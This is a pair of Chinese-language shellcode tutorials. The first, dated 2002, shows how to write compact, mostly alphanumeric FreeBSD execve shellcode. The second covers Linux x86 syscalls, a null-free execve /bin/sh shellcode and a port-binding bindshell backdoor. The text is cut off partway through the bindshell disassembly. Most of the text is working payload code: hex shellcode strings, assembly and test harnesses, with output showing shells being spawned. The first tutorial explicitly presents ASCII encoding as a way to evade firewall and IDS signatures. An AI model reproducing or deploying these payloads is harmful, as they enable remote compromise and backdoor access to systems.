编写"优美"的SHELLCODE

编写"优美"的SHELLCODE

作者:watercloud  
主页:http://www.nsfocus.com
日期:2002-1-4
    SHELLCODE的活力在于其功能,如果在能够完成功能的前提下又能比较"优美",那么就
更能体现shellcode的魅力.
个人认为shellcode的优美能在两个地方表现:
    shellcode本身应该尽量的短小.
    shellcode的书写也应该尽量的短小,并且尽量使用能书写为ascii码的机器码.
  举例来讲如下两个都是FreeBSD下的shellcode,都是新开一个shell
  char shellcode_1[38]=
      "\xeb\x17\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\x8d\x5e"
      "\x08\x50\x53\x56\x56\xb0\x3b\xcd\x80\xe8\xe4\xff\xff\xff/bin/sh";
  char shellcode_2[24]=
     "1\xc0Ph//shh/binT[PPSS4;\xcd\x80";
  很显然shellcode_2比shellcode_1要短小精干.首先大小上shellcode_1的机器码为37
字节,shellcode_2
的机器码为23字节;其次从书写上shellcode_1为127字节,shellcode_2为32字节.
  从中我们可以看到美化我们的shellcode主要也是从两个方面着手.首先尽量使自己的
代码变小,其次尽量使用
能书写为ascii码的机器码/汇编码.
  当然尽量使用ascii码的好处不紧紧是使shellcode看起来美观,更重要的是现在越来
越多的防火强和IDS都开始将
网上流行的shellcode作为识别关键字,这就是说越是接近字符串的shellcode越能躲过
他们的检测.
  以下我们通过简化FreeBSD上的具体shellcode来讲述美化shellcode.
  首先让我们来开始编写一个简单的shellcode程序.
写如下程序test.c
/*  test.c for test shellcode  */
#include
void main()
{
  char *arg[2];
  arg[0] = "/bin/sh";
  arg[1] = NULL;
  execve(arg[0], arg, NULL);
}
编译: gcc test.c -static -o test
用gdb来看看其系统调用是如何传递参数的: gdb test
(gdb) disass execve
Dump of assembler code for function execve:
0x8048254 :     lea    0x3b,%eax
0x804825a :   int    $0x80
可以看到其参数传递是通过堆栈进行的,这使得编写shellcode更是简单.
总结一下就是 int $0x80 前 al中放人0x3b 并且堆栈中依次放入
高地址:
^   [指向执行命令的指针  ]
|   [指向命令行参数的指针]
|   [指向环境变量的指针  ]
|   [execve函数返回地址 ]
低地址
就一切搞定!
写一个小程序 t.c
main(){}
gcc -S t.c
得到汇编框架程序t.s
cat t.s
        .file   "t.c"
        .version        "01.01"
gcc2_compiled.:
.text
        .p2align 2,0x90
.globl main
                .type            main,@function
main:
        pushl %ebp
        movl %esp,%ebp
.L2:
        leave
        ret
.Lfe1:
                .size            main,.Lfe1-main
        .ident  "GCC: (GNU) c 2.95.3 [FreeBSD] 20010315 (release)"
好了我们得到了一个汇编程序框架了,在此基础上简化一下,编写一个汇编程序test.s
如下
.text
        .p2align 2,0x90
.globl main
                .type            main,@function
main:
        jmp next
real:
        popl  %esi           ; esi指向"/bin/sh"
        xorl  %eax,%eax      ; eax=0
        movb  %al,0x7(%esi)  ; "/bin/sh"后添加一个'\0'
        movl  %esi,0x8(%esi) ; 在"/bin/sh\0"后面构造char *arg[2]; arg[0]=esi
指向"/bin/sh"
        movl  %eax,0xc(%esi) ; arg[1]=0
        leal  0x8(%esi),%ebx ; ebx相当于arg
        pushl %eax           ; 压入0 相当于压入execve(arg[0],arg,NULL)中的
NULL
        pushl %ebx           ; 压入arg
        pushl %esi           ; 压入arg[0] 即"/bin/sh"的开始地址
        pushl %esi           ; execve的返回地址,这里就随便给一个就行了
        movb  $0x3b,%al
        int   $0x80
next:
         call real
        .string "/bin/sh"
.end
                .size            main,.end-main
编译: gcc test.s -o test
运行看看
bash-2.05$ ./test
Bus error (core dumped)   奇怪!
想想看代码段默认是只读不可写而"/bin/sh"放在代码段中,我们在其后构造char
*arg[2]
向里边赋值肯定出错.
解决办法:把test.s开头的.text改为.data告诉gcc这里的数据可读可写,作数据段,
嘿嘿
修改后再编译,再运行
bash-2.05$ ./test
$
看成功了!
我们来看看其机器码objdump -D test
其中我们可以看到:
. . . .
080494c0 :
80494c0:       eb 17                   jmp    80494d9
080494c2 :
80494c2:       5e                      pop    %esi
80494c3:       31 c0                   xor    %eax,%eax
80494c5:       88 46 07                mov    %al,0x7(%esi)
80494c8:       89 76 08                mov    %esi,0x8(%esi)
80494cb:       89 46 0c                mov    %eax,0xc(%esi)
80494ce:       8d 5e 08                lea    0x8(%esi),%ebx
80494d1:       50                      push   %eax
80494d2:       53                      push   %ebx
80494d3:       56                      push   %esi
80494d4:       56                      push   %esi
80494d5:       b0 3b                   mov    $0x3b,%al
80494d7:       cd 80                   int    $0x80
080494d9 :
80494d9:       e8 e4 ff ff ff          call   80494c2
. . . . .
摘取下来作为我们的shellcode如下:
  "\xeb\x17\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\x8d\x5e
   \x08\x50\x53\x56\x56\xb0\x3b\xcd\x80\xe8\xe4\xff\xff\xff/bin/sh";
共37字节。
测试一下:写一个测试程序testshell.c如下
#include
char sh[]=
  "\xeb\x17\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\x8d\x5e"
  "\x08\x50\x53\x56\x56\xb0\x3b\xcd\x80\xe8\xe4\xff\xff\xff/bin/sh";
main()
{
  long p[1];
  p[2]=sh;
}
编译运行:
bash-2.05$ gcc testshell.c -o testshell
testshell.c: In function `main':
testshell.c:7: warning: assignment makes integer from pointer without a cast
bash-2.05$ ./testshell
$
成功是成功了,但我们发行代码很长,其主要代码花费在构造并赋值给char * arg[2]
上.
那么我们看看execve("/bin/sh",0,0);在FreeBSD上能用吗.(注:在Linux上不行,必须
给命令行参数
argv[0]赋值)
写一个测试程序test.c
int main(){execve("/bin/sh",0,0)}
编译并运行:
bash-2.05$ gcc test.c
test.c: In function `main':
test.c:2: warning: return type of `main' is not `int'
bash-2.05$ ./a.out
$
看来在FreeBSD上编写shellcode更加简单了。不用构造命令行参数那么就简单多了.
再写一个test.s编译后用objdump -D test 看到如下:
080494c0 :
80494c0:       eb 0e                   jmp    80494d0
080494c2 :
80494c2:       5e                      pop    %esi
80494c3:       31 c0                   xor    %eax,%eax
80494c5:       88 46 07                mov    %al,0x7(%esi)
80494c8:       50                      push   %eax
80494c9:       50                      push   %eax
80494ca:       56                      push   %esi
80494cb:       56                      push   %esi
80494cc:       b0 3b                   mov    $0x3b,%al
80494ce:       cd 80                   int    $0x80
080494d0 :
80494d0:       e8 ed ff ff ff          call   80494c2
这次的shellcode就变成了:
"\xeb\x0e\x5e\x31\xc0\x88\x46\x07\x50\x50\x56\x56\xb0\x3b\xcd\x80\xe8\xed\xf
f\xff\xff/bin/sh"
共28字节.
接下来我们把他换个写法,里边凡是能用字符表示的我们就用字符书写:
"\xeb\x0e^1\xc0\x88F\aPPVV\xb0;\xcd\x80\xe8\xed\xff\xff\xff/bin/sh"
看精简多了吧!
但由于"\x88F"在c语言的字符串中好像有特殊含义,不是很清楚,因为
main(){printf("\x88F");}在编译时
warning: escape sequence out of range for character
看来只能写成:
"\xeb\x0e^1\xc0\x88F""\aPPVV\xb0;\xcd\x80\xe8\xed\xff\xff\xff/bin/sh"
把它分为两段字符串来写。
其中能使用字符的ascii范围为:0x21 - 0x7E  和几个特殊字符
0x7 -- '\a'
0x8 -- '\b'
0xc -- '\f'
0xb -- '\v'
0xd -- '\r'
0xa -- '\n'
查一下汇编手册我们就可以知道哪些汇编语句对应的机器码可用字符书写.
不过Phrack57上已经有人总结了,我们也就不用如此费神了引用过来如下:
hexadecimal opcode | char | instruction
-------------------+------+--------------------------------
30             | '0'  | xor ,
31             | '1'  | xor ,
32             | '2'  | xor ,
33             | '3'  | xor ,
34           | '4'  | xor al,
35          | '5'  | xor eax,
36                 | '6'  | ss:   (Segment Override Prefix)
37                 | '7'  | aaa
38             | '8'  | cmp ,
39             | '9'  | cmp ,
41                 | 'A'  | inc ecx
42                 | 'B'  | inc edx
43                 | 'C'  | inc ebx
44                 | 'D'  | inc esp
45                 | 'E'  | inc ebp
46                 | 'F'  | inc esi
47                 | 'G'  | inc edi
48                 | 'H'  | dec eax
49                 | 'I'  | dec ecx
4A                 | 'J'  | dec edx
4B                 | 'K'  | dec ebx
4C                 | 'L'  | dec esp
4D                 | 'M'  | dec ebp
4E                 | 'N'  | dec esi
4F                 | 'O'  | dec edi
50                 | 'P'  | push eax
51                 | 'Q'  | push ecx
52                 | 'R'  | push edx
53                 | 'S'  | push ebx
54                 | 'T'  | push esp
55                 | 'U'  | push ebp
56                 | 'V'  | push esi
57                 | 'W'  | push edi
58                 | 'X'  | pop eax
59                 | 'Y'  | pop ecx
5A                 | 'Z'  | pop edx
61                 | 'a'  | popa
62            | 'b'  | bound
63            | 'c'  | arpl
64                 | 'd'  | fs:   (Segment Override Prefix)
65                 | 'e'  | gs:   (Segment Override Prefix)
66                 | 'f'  | o16:    (Operand Size Override)
67                 | 'g'  | a16:    (Address Size Override)
68          | 'h'  | push
69            | 'i'  | imul
6A           | 'j'  | push
6B            | 'k'  | imul
6C            | 'l'  | insb
6D            | 'm'  | insd
6E            | 'n'  | outsb
6F            | 'o'  | outsd
70          | 'p'  | jo
71          | 'q'  | jno
72          | 'r'  | jb
73          | 's'  | jae
74          | 't'  | je
75          | 'u'  | jne
76          | 'v'  | jbe
77          | 'w'  | ja
78          | 'x'  | js
79          | 'y'  | jns
7A          | 'z'  | jp
看!有点启发了吧.
看看我们以前的代码:
080494c0 :
80494c0:       eb 0e                   jmp    80494d0  ;能用
je/jn/jb...就好了
080494c2 :
80494c2:       5e                      pop    %esi
80494c3:       31 c0                   xor    %eax,%eax  ;放到main开头的话
就能用je代替jmp了
80494c5:       88 46 07                mov    %al,0x7(%esi)
80494c8:       50                      push   %eax
80494c9:       50                      push   %eax
80494ca:       56                      push   %esi
80494cb:       56                      push   %esi
80494cc:       b0 3b                   mov    $0x3b,%al ;可以用xorb
$0x3b,%al
80494ce:       cd 80                   int    $0x80
. . . . .
修改之后如下:
080494c0 :
80494c0:       31 c0                   xor    %eax,%eax
80494c2:       74 0c                   je     80494d0
080494c4 :
80494c4:       5f                      pop    %edi
80494c5:       50                      push   %eax
80494c6:       50                      push   %eax
80494c7:       57                      push   %edi
80494c8:       57                      push   %edi
80494c9:       88 47 07                mov    %al,0x7(%edi)
80494cc:       34 3b                   xor    $0x3b,%al
80494ce:       cd 80                   int    $0x80
080494d0 :
80494d0:       e8 ef ff ff ff          call   80494c4
对应代码为:
"1\xc0t\f_PPWW\x88G\a4;\xcd\x80\xe8\xef\xff\xff\xff/bin/sh"
共28字节,书写57字节.
看,又简化写了吧.
现在代码主要浪费在了call real  和给"/bin/sh"最后一字节添加'\0'上了,我们能不

打破
jmp next
real:
   . . .
next:
   call real
   .string "/bin/sh"
这一体系呢?
问题的关键在于FreeBSD上我们的shellcode只要一个字符串,数据量很小,我们完全可

考虑用堆栈存放该字符串。
我们事先将"/bin/sh" push到堆栈中。
但字符串要以\0结尾所以我们还是需要在其后添加\0,我们可以先push一个 0到堆栈中

而/bin/sh为7个字符,我们可以用/bin//sh代替,效果相同。
以此为思路我们最终编写如下:
0804847c :
804847c:       31 c0                   xor    %eax,%eax
804847e:       50                      push   %eax        ; pushl 0
804847f:       68 2f 2f 73 68          push   $0x68732f2f ; pushl
"file://sh"
8048484:       68 2f 62 69 6e          push   $0x6e69622f ; pushl "/bin"
8048489:       54                      push   %esp
804848a:       5b                      pop    %ebx        ; 取得"/bin/sh"地

804848b:       50                      push   %eax
804848c:       50                      push   %eax
804848d:       53                      push   %ebx
804848e:       53                      push   %ebx
804848f:       34 3b                   xor    $0x3b,%al
8048491:       cd 80                   int    $0x80
对应shellcode为:
"1\xc0Ph//shh/binT[PPSS4;\xcd\x80"
当然我们也可以将 xor %eax,%eax 写为:
pushl $0x32323232   ; pushl "2222"
popl  %eax
xorl  $0x32323232,%eax
这样整个shellcode中就只剩下\xcd\x80不是字符了,但好像有点得不偿失。
最后是不是想把\xcd\x80也给换一换?
不过不要太乐观了,要替换掉它就有点难度了,这得要操作具体的esp位置,这里
就不多作讨论了,有兴趣可参见phrack57#
  个人的一点愚见,忘大家指正。
参考:
  微软masm32 v6 帮助手册
  phrack57# Writing ia32 alphanumeric shellcodes
 
 

浅入浅出Liunx Shellcode

一:什么是shellcode
  话说某天某爱国黑客编译了一个Nday溢出利用程序来攻击CNN,输入IP并且enter之后发现目标服务器没有反应,于是拿出sniffer抓包分析...“Oh ,my dog!居然没有带shellcode!”为什么 shellcode对于一个exploit来说这么重要呢?Shellcode到底是什么东西呢?
  简单的说,Shellcode是一段能够完成某种特定功能的二进制代码。具体完成什么任务是由攻击者决定的,可能是开启一个新的shell或者下载某个特定的程序也或者向攻击者返回一个shell等等。
  因为shellcode将会直接操作寄存器和一些系统调用,所以对于shellcode的编写基本上是用高级语言编写一段程序然后编译,反汇编从而得到16进制的操作码,当然也可以直接写汇编然后从二进制文件中提取出16进制的操作码。
  接下来就一起来解开shellcode的神秘面纱吧~

二:Linux系统调用
  为什么编写shellcode需要了解系统调用呢?因为系统调用是 用户态和内核态之间的一座桥梁。大多数操作系统都提供了很多应用程序可以访问到的核心函数,shellcode当然也需要调用这些 核心函数。Linux系统提供的核心函数可以方便的实现用来访问文件,执行命令,网络通信等等功能。这些函数就被成为系统调用(System Call)。
  想知道系统上到底有哪些系统调用可以用,直接查看内核代码即可得到。Linux的系统调用在以下文件中定义:/usr/include/asm-i386 /unistd.h,该文件包含了系统中每个可用的系统调用的定义,内容大概如下:
  #ifndef _ASM_I386_UNISTD_H_
#define _ASM_I386_UNISTD_H_

/*
* This file contains the system call numbers.
*/

#define __NR_restart_syscall   0
#define __NR_exit         1
#define __NR_fork         2
#define __NR_read         3
#define __NR_write        4
#define __NR_open         5
#define __NR_close        6
#define __NR_waitpid       7
#define __NR_creat        8
#define __NR_link         9
#define __NR_unlink       10
#define __NR_execve       11
#define __NR_chdir        12
#define __NR_time        13
#define __NR_mknod        14
#define __NR_chmod        15
.
.
.
.
每个系统调用都有一个名称和相对应的系统调用号组成,由于该文件很长就不一一列出了。知道了linux系统调用是什么样子,下面就来了解下如何使用这些系统调用。启动一个系统调用需要使用int指令,linux系统调用位于中断0x80。当执行一个int 0x80指令后,发出一个软中断,强制内核停止当前工作来处理中断。内核首先检查传入参数的正确性,然后将下面寄存器的值复制到内核的内存空间,接下来参照中断描述符表(IDT)来处理中断。系统调用完成以后,继续执行int指令后的下一条指令。
  系统调用号是确定一个系统调用的关键数字,在执行int指令之前,它应当被传入EAX寄存器中,确定了一个系统调用号之后就要考虑给该系统调用传递什么参数来完成什么样的功能。存放参数的寄存器有5个,他们是EBX,ECX,EDX,ESI和EDI,这五个寄存器顺序的存放传入的系统调用参数。需要超过6个输入参数的系统调用使用不同的方法把参数传递给系统调用。EBX寄存器用于保护指向输入参数的内存位置的指针,输入参数按照连续的顺序存储。系统调用使用这个指针访问内存位置以便读取参数。
  为了更好的说明一个系统调用的使用全过程,我们来看一个例子,这个例子中调用了write系统调用来将hello,syscall写入到终端,并最终调用exit系统调用安全退出。
代码如下:
.section .data
output:
    .ascii \"hello,syscall!!!!\\n\"
output_end:
    .equ len,output_end - output
.section .text
.globl _start
_start:
    movl $4,%eax #define __NR_write        4
    movl $1,%ebx
    movl $output,%ecx
    movl $len,%edx
    int $0x80
    movl $1,%eax
    movl $0,%ebx
    int $0x80
编译该程序,并查看运行结果:
pr0cess@pr0cess:~$ as -o syscall.o syscall.s
pr0cess@pr0cess:~$ ld -o syscall syscall.o
pr0cess@pr0cess:~$ ./syscall
hello,syscall!!!!
可以看到hello,syscall被写入到终端。那么这个过程是怎么实现的呢?首先程序定义了一个字符串hello,syscall!!!!和字符串的长度len,接下来将write系统调用号写入到eax寄存器中,接着write系统调用的第一个参数需要一个文件描述符fd,linux包含3种文件描述符0[STDIN]:终端设备的标准输入;1[STDOUT]:终端设备的标准输出;2[STDERR]:终端设备的标准错误输出。我们这里把fd的值设置为1,就是输入到屏幕上,因此把操作数1赋值给EBX寄存器。write系统调用的第二个参数是要写入字符串的指针,这里需要一个内存地址,因此我们通过movl $output,%ecx把output指向的实际内存地址存放在 ECX寄存器中。write系统调用的第三个参数是写入字符串的长度,按照顺序的参数传递方式,我们把len传递到EDX寄存器中,接着执行int $0x80软中断来执行write系统调用。下一步执行了一个exit(0) 操作,将exit系统调用号1传递给EAX寄存器,将参数0传递给EBX寄存器,然后执行int $0x80来执行系统调用,实现程序的退出。
  为了更清晰的验证我们的系统调用确实被执行了,可以通过strace来查看二进制代码的运行情况,结果如下:
pr0cess@pr0cess:~$ strace ./syscall
execve(\"./syscall\", [\"./syscall\"], [/* 34 vars */]) = 0
write(1, \"hello,syscall!!!!\\n\", 18hello,syscall!!!!
)   = 18
_exit(0)  
通过返回的结果我们可以清楚的看到刚才syscall程序都执行了哪些系统调用,以及每个系统调用都传递了什么参数进去。
  已经了解了系统调用的实现过程,让我们离shellcode更进一步吧。

三:第一个shellcode
  最初当shellcode这个名词来临的时候,目的只是获得一个新的shell,在那时已经是一件很美妙的事情,接下来我们就来实现如何获得一个新的shell来完成我们第一个shellcode的编写。这里需要注意的一个基本的关键的地方就是在shellcode中不能出现/x00也就是NULL字符,当出现NULL字符的时候将会导致shellcode被截断,从而无法完成其应有的功能,这确实是一个让人头疼的问题。那么有什么解决办法呢?我们先来抽取上个例子syscall中的16进制机器码来看看有没有出现/x00截断符:
pr0cess@pr0cess:~$ objdump -d ./syscall

./syscall:   file format elf32-i386

Disassembly of section .text:

08048074 <_start>:
8048074:    b8 04 00 00 00     mov  $0x4,%eax
8048079:    bb 01 00 00 00     mov  $0x1,%ebx
804807e:    b9 98 90 04 08     mov  $0x8049098,%ecx
8048083:    ba 12 00 00 00     mov  $0x12,%edx
8048088:    cd 80          int  $0x80
804808a:    b8 01 00 00 00     mov  $0x1,%eax
804808f:    bb 00 00 00 00     mov  $0x0,%ebx
8048094:    cd 80          int  $0x80
pr0cess@pr0cess:~$
噢!!!这个SB的程序在
8048074:    b8 04 00 00 00     mov  $0x4,%eax
这里就已经被00截断了,完全不能用于shellcode,只能作为一般的汇编程序运行。现在来分析下为什么会出现这种情况。现看这两段代码:
    movl $4,%eax
    movl $1,%ebx
这两条指令使用的是32位(4字节)的寄存器EAX和EBX,而我们却只分别赋值了1个字节到寄存器中,所以系统会用NULL字符(00)来填充剩下的字节空间,从而导致shellcode被截断。知道了原因就可以找到很好的解决方法了,一个EAX寄存器是32位,32位寄存器也可以通过16位或者8位的名称引用,我们通过AX寄存器来访问第一个16位的区域(低16位),继续通过对AL的引用EAX寄存器的低8位被使用,AH使用AL后的高8位。
EAX寄存器的构成如下:
EAX寄存器
31              15      7      0
  AH
AL
AX
在syscall的例子中操作数$4和$1二进制都只占8位,所以只需要把这两个操作数赋值给AL就可以了,这样就避免了使用EAX寄存器时,系统用NULL填充其他空间。
我们来修改一下代码看看,把
    movl $4,%eax
    movl $1,%ebx
改为
    mov $4,%al
    mov $1,%bl
再重新编译连接syscall程序,并且查看一下objdump的结果:
pr0cess@pr0cess:~$ ./syscall
hello,syscall!!!!
pr0cess@pr0cess:~$ objdump -d ./syscall

./syscall:   file format elf32-i386

Disassembly of section .text:

08048074 <_start>:
8048074:    b0 04          mov  $0x4,%al
8048076:    b3 01          mov  $0x1,%bl
8048078:    b9 90 90 04 08     mov  $0x8049090,%ecx
804807d:    ba 12 00 00 00     mov  $0x12,%edx
8048082:    cd 80          int  $0x80
8048084:    b8 01 00 00 00     mov  $0x1,%eax
8048089:    bb 00 00 00 00     mov  $0x0,%ebx
804808e:    cd 80          int  $0x80
pr0cess@pr0cess:~$
看到了,已经成功的把 NULL字符给去掉了,同理可以把下面语句都改写一遍,这样就可以使这个程序作为shellcode运行了。
下面我们就来编写第一个有实际意义的shellcode,它将打开一个新的shell。当然,这在本地是没有什么意义,可是当它作为一个远程溢出在目标机器上打开shell的时候,那作用可就不能小视了。打开一个新的shell我们需要用到execve系统调用,先来看看man手册里是怎么定义这个函数的:
NAME
    execve - execute program

SYNOPSIS
    #include

    int execve(const char *filename, char *const argv[],
         char *const envp[]);
可以看到execve系统调用需要3个参数,为了说明怎么使用先来写一个简单的C程序来调用execve函数:
#include
int main()
{
    char *sc[2];
    sc[0]=\"/bin/sh\";
    sc[1]= NULL;
    execve(sc[0],sc,NULL);
}
通过execve执行一个/bin/sh从而获得一个新的shell,编译来看下结果:
pr0cess@pr0cess:~$ gcc -o newshell newshell.c
pr0cess@pr0cess:~$ ./newshell
$ exit
pr0cess@pr0cess:~$
新shell已经成功的诞生了!!
为了编写execve的shellcode我们用汇编实现一下以上C程序的功能,代码如下:
.section .text
.globl _start
_start:
    xorl %eax,%eax
    pushl %eax
    pushl $0x68732f6e
    pushl $0x69622f2f
    movl %esp,%ebx
    pushl %eax
    pushl %ebx
    movl %esp,%ecx
    movb $0xb,%al
    int $0x80
来解释一下这段代码,首先为了避免mov赋值带来的00,用一个异或操作来把EAX寄存器清空
xorl %eax,%eax
接着将4字节的NULL压栈
pushl %eax
将/bin//sh压栈,保持对齐,第一个参数
pushl $0x68732f6e
pushl $0x69622f2f
将/bin//sh存放到EBX寄存器,第2个参数
movl %esp,%ebx
压4字节的NULL,第3个参数,环境变量为 NULL
pushl %eax
将EBX压栈
pushl %ebx
把EBX地址存入ECX寄存器
movl %esp,%ecx
将execve系统调用号11(0xb)压入AL寄存器,消00
movb $0xb,%al
调用int指令进入中断
int $0x80
OK,现在来测试一下这个程序是否能给我们带来一个新的shell
pr0cess@pr0cess:~$ as -o exec.o exec.s
pr0cess@pr0cess:~$ ld -o exec exec.o
pr0cess@pr0cess:~$ ./exec
$ exit
pr0cess@pr0cess:~$
HOHO~~成功执行了!!接着来提取16进制机器码
pr0cess@pr0cess:~$ objdump -d ./exec

./exec:   file format elf32-i386

Disassembly of section .text:

08048054 <_start>:
8048054:    31 c0          xor  %eax,%eax
8048056:    50           push  %eax
8048057:    68 6e 2f 73 68     push  $0x68732f6e
804805c:    68 2f 2f 62 69     push  $0x69622f2f
8048061:    89 e3          mov  %esp,%ebx
8048063:    50           push  %eax
8048064:    53           push  %ebx
8048065:    89 e1          mov  %esp,%ecx
8048067:    b0 0b          mov  $0xb,%al
8048069:    cd 80          int  $0x80
pr0cess@pr0cess:~$
放到一个C程序中来完成整个shellcode的编写测试吧
/*
*linux/x86 execve(\"/bin//sh/\",[\"/bin//sh\"],NULL) shellcode 23bytes
*
[email protected]
*/
pr0cess@pr0cess:~$ objdump -d exec

exec:   file format elf32-i386

Disassembly of section .text:

08048054 <_start>:
8048054:    31 c0          xor  %eax,%eax
8048056:    50           push  %eax
8048057:    68 6e 2f 73 68     push  $0x68732f6e
804805c:    68 2f 2f 62 69     push  $0x69622f2f
8048061:    89 e3          mov  %esp,%ebx
8048063:    50           push  %eax
8048064:    53           push  %ebx
8048065:    89 e1          mov  %esp,%ecx
8048067:    b0 0b          mov  $0xb,%al
8048069:    cd 80          int  $0x80
pr0cess@pr0cess:~$

char sc[] =
  \"\\x31\\xc0\"
  \"\\x50\"
  \"\\x68\\x6e\\x2f\\x73\\x68\"
  \"\\x68\\x2f\\x2f\\x62\\x69\"
  \"\\x89\\xe3\"
  \"\\x50\"
  \"\\x53\"
  \"\\x89\\xe1\"
  \"\\xb0\\x0b\"
  \"\\xcd\\x80\"
;
int main()
{
    void  (*fp)(void) = (void (*)(void))sc;

    printf(\"Length: %d\\n\",strlen(sc));
    fp();
}
pr0cess@pr0cess:~$ gcc -o execve execve.c
pr0cess@pr0cess:~$ ./execve
Length: 23
$ exit
pr0cess@pr0cess:~$
成功了!我们编写了第一个linux下的shellcode,并且能顺利工作了。稍微休息一下,下一节带来一个更cool的bindshell功能的shellcode~~
四:绑定端口的shellcode
  根据上一节所说的,本地打开一个新的shell在面对远程目标时就不是那么有用了,这时我们需要在远程目标上打开一个可交互的shell,这样对我们更有帮助,等于直接获得了一个进入远程系统的后门,这就是端口绑定shellcode。
  写到这里就需要一些网络编程的知识了,这里不再详细讲解如何进行网络编程,只是大概说一下一个bindshell后门程序的编写过程:
  首先要建立一个socket
  server=socket(2,1,0)
  建立一个sockaddr_in结构,包含IP和端口信息
  将端口和IP邦定到socket  
  bind()
  打开端口监听该socket
  listen()
  当有连接时向客户端返回一个句柄
  accept()
  将返回的句柄复制到STDIN,STDOUT,STDERR
  dup2()
  调用execve执行/bin/sh
  看了这些过程可能有些迷茫,下面我给出一个以前我些的bindshell.c后门程序,可以很清晰的看到一个bindshell是如何实现的:
http://www.bugshower.org/xbind.c
  通过对一个端口绑定后门C程序的分析已经了解了整个实现过程,为了更方便的提取shellcode我们需要用汇编来改写这个程序。这里一个新的系统调用将被使用,这就是socketcall系统调用,这个系统调用号是102。先来看一下man里面关于这个系统调用的参数信息:
NAME
    socketcall - socket system calls

SYNOPSIS
    int socketcall(int call, unsigned long *args);
该系统调用需要两个参数,第一个参数是一个整数值,存放在EBX寄存器中,对于一个bindshell我们只需要用到4个数值,分别是:
SYS_SOCKET    1
SYS_BIND    2
SYS_LISTEN    4
SYS_ACCEPT    5
第二个参数是一个指针,指向一个参数数组,把它存在ECX寄存器中。
现在所有准备工作都已经就绪,开始用汇编编写一个bindshell后门吧~代码和注释如下:
#
[email protected] & [email protected]
# bindshell.s --bindport on 6533
.section .text
.global _start
_start:
#清空各寄存器
xor %eax,%eax
xor %ebx,%ebx
xor %ecx,%ecx

#socket(2,1,0)创建一个TCP连接,注意字节序。
push %eax    #压入第3个参数 0
push $0x1     #压入第2个参数 1
push $0x2     #压入第1个参数 2
mov %esp,%ecx   #将ECX里的数组地址作为socketcall系统调用的第2个参数
inc %bl     #bl=0+1,作为socketcall的第一个参数,调用socket函数
movb $0x66,%al   #调用socketcall,0x66=102
int $0x80     #中断
mov %eax,%esi   将返回句柄保存在ESI中

#bind()
push %edx    #EDX压栈作为结束符
push $0x8519FF02   #0x8519=6533,sin.family=02,FF任意字节填充
mov %esp,%ecx  #将ESP地址赋值给ECX
push $0x10     #开始bind的参数,0x10压栈
push %ecx     #保存地址
push %esi     #把前面的句柄压栈
mov %esp,%ecx   #继续把数组地址作为socketcall调用的第2个参数
inc %bl     #bl=1+1=2=SYS_BIND
mov $0x66,%al   #调用socketcall
int $0x80     #中断

#listen()
push %edx     #EDX压栈,作为结束符
push %esi     #句柄压栈,作为listen的参数
mov %esp,%ecx   #将数组地址设为socketcall的第2个参数
mov $0x4,%bl   #bl=4=SYS_LISTEN
mov $0x66,%al   #执行socketcall系统调用
int $0x80     #中断

#accept()
push %edx     #参数0
push %edx     #参数0
push %esi     #句柄压栈
mov %esp,%ecx   #将数组设为系统调用第2个参数
inc %bl     #bl=4+1=SYS_ACCEPT  
mov $0x66,%al   #执行系统调用
int $0x80     #中断

#dup2()
mov %eax,%ebx   #将accept返回的句柄复制到EBX
xor %ecx,%ecx   #清空
mov $0x3f,%al   #dup2系统调用,0x3f=63
int $0x80     #中断
inc %ecx     #1
mov $0x3f,%al
int $0x80
inc %ecx     #2
mov $0x3f,%al
int $0x80

#之前熟悉的execve调用,打开一个新的shell
push %edx
push $0x68732f2f
push $0x6e69622f
mov %esp,%ebx
push %edx
push %ebx
mov %esp ,%ecx
mov $0xb,%al
int $0x80
  呵..现在可以休息一下了,终于完成了这个恶心的程序的编写工作,测试一下是否能正常工作吧~
pr0cess@pr0cess:~$ as -o bindshell.o bindshell.s
pr0cess@pr0cess:~$ ld -o bindshell bindshell.o
pr0cess@pr0cess:~$ ./bindshell
再新开一个终端去连接,顺利的话我们应该能在6533端口得到一个shell的~
pr0cess@pr0cess:~$ netstat -an |grep \"6533\"
tcp    0   0 0.0.0.0:6533      0.0.0.0:*        LISTEN   
pr0cess@pr0cess:~$ nc 192.168.12.211 6533
uname -a
Linux pr0cess 2.6.20-15-generic #2 SMP Sun Apr 15 07:36:31 UTC 2007 i686 GNU/Linux
exit
pr0cess@pr0cess:~$
啊哈~美妙的shell出现了,程序顺利的完成它的工作,它可以去死了,我们来提取shellcode吧:
pr0cess@pr0cess:~$ objdump -d ./bindshell

./bindshell:   file format elf32-i386

Disassembly of section .text:

08048054 <_start>:
8048054:    31 c0          xor  %eax,%eax
8048056:    31 db          xor  %ebx,%ebx
8048058:    31 c9          xor  %ecx,%ecx
804805a:    50           push  %eax
804805b:    6a 01          push  $0x1
804805d:    6a 02          push  $0x2
804805f:    89 e1          mov  %esp,%ecx
8048061:    fe c3          inc  %bl
8048063:    b0 66          mov  $0x66,%al
8048065:    cd 80          int  $0x80
8048067:    89 c6          mov  %eax,%esi
8048069:    52           push  %edx
804806a:    68 02 ff 19 85     push  $0x8519ff02
804806f:    89 e1          mov  %esp,%ecx
8048071:    6a 10          push  $0x10
8048073:    51           push  %ecx
8048074:    56           push  %esi
8048075:    89 e1          mov  %esp,%ecx
8048077:    fe c3          inc  %bl
8048079:    b0 66          mov  $0x66,%al
804807b:    cd 80          int  $0x80
804807d:    52           push  %edx
804807e:    56           push  %esi
804807f:    89 e1          mov  %esp,%ecx
8048081:    b3 04          mov  $0x4,%bl
8048083:    b0 66          mov  $0x66,%al
8048085:    cd 80          int  $0x80
8048087:    52           push  %edx
8048088:    52           push  %edx
8048089:    56           push  %esi
804808a:    89 e1          mov  %esp,%ecx
804808c:    fe c3          inc  %bl
804808e:    b0 66          mov  $0x66,%al
8048090:    cd 80          int  $0x80
8048092:    89 c3          mov  %eax,%ebx
8048094:    31 c9          xor  %ecx,%ecx
8048096:    b0 3f          mov  $0x3f,%al
8048098:    cd 80          int  $0x80
804809a:    41           inc  %ecx
804809b:    b0 3f          mov  $0x3f,%al
804809d:    cd 80          int  $0x80
804809f:    41           inc  %ecx
80480a0:    b0 3f          mov  $0x3f,%al
80480a2:    cd 80          int  $0x80
80480a4:    52           push  %edx
80480a5:    68 2f 2f 73 68     push  $0x68732f2f
80480aa:    68 2f 62 69 6e     push  $0x6e69622f
